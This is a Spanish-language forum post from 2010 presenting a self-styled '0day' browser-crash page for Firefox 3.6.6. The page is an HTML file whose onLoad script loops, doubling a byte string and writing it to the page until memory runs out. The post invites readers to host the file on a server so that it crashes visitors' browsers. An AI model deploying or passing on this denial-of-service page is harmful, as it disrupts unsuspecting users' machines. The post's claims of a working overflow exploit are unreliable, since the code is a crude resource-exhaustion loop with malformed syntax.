[0day] FullMemory para Mozilla/3.6.6 [Creado por SkillmaX]

SkillmaX · Julio 07, 2010, 04:24:28 PM

Bueno recien estaba codeando un poco el otro del smf 1.1.1 me decidí a hacer uno que
petara un poco el firefox hasta el desbordamiento de él mismo, funciona para todas las versiones.

Agradecimientos:

Sanlegas y Dr_HaCk93 por probarlo en sus pc's y darme el visto bueno
tambien doy a agradecer a poison (No el de está comunidad) por qué me basé en el suyo que es inservible y está fixeado, a este que está actualmente funcional.

# Exploit Title: FullMemory
# Author: SkillmaX
# Version: 3.6.6 inferiores y superiores
# Tested on: XP, vista, 7

Os dejo el codigo:

Código: php


<body onLoad="javascript:SkillmaX();">

Caida de firefox - BUG

</body>


<!-- 

Desbordamiento del navegador

----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------

-->

<script>

<!-- -------------------------------------------------------- -->

function SkillmaX() {


<!-- -------------------------------------------------------- -->

var b = '\x04\x13\xE7\x9C\x00\x13\xE8\24\x42\x65\xEC\8C';



<!-- -------------------------------------------------------- -->


for (a =0;a<96584871252;a++) {


<!-- -------------------------------------------------------- -->

b+=b+'\x04\x13\xE7\x9C\x00\x13\xE8\24\x42\x65\xEC\8C';


<!-- -------------------------------------------------------- -->


document.write('<html><h3><h3><h3><marquee>'+b+b);

}

}

</script>


<!-- 

Desbordamiento del navegador

----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------

-->
<!-- 

Desbordamiento del navegador

----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------
----------------------------------------------------------

-->

<!-- -------------------------------------------------------- -->

Lo compilais como lala.html y lo subis a vuestro servidor, o mas facil ejecutarlo en vuestro PC
y vereis el desbordamiento como le a pasado a Dr_HaCk93, un saludo.

[0day] FullMemory para Mozilla/3.6.6 [Creado por SkillmaX]

SkillmaX

Julio 07, 2010, 04:24:28 PM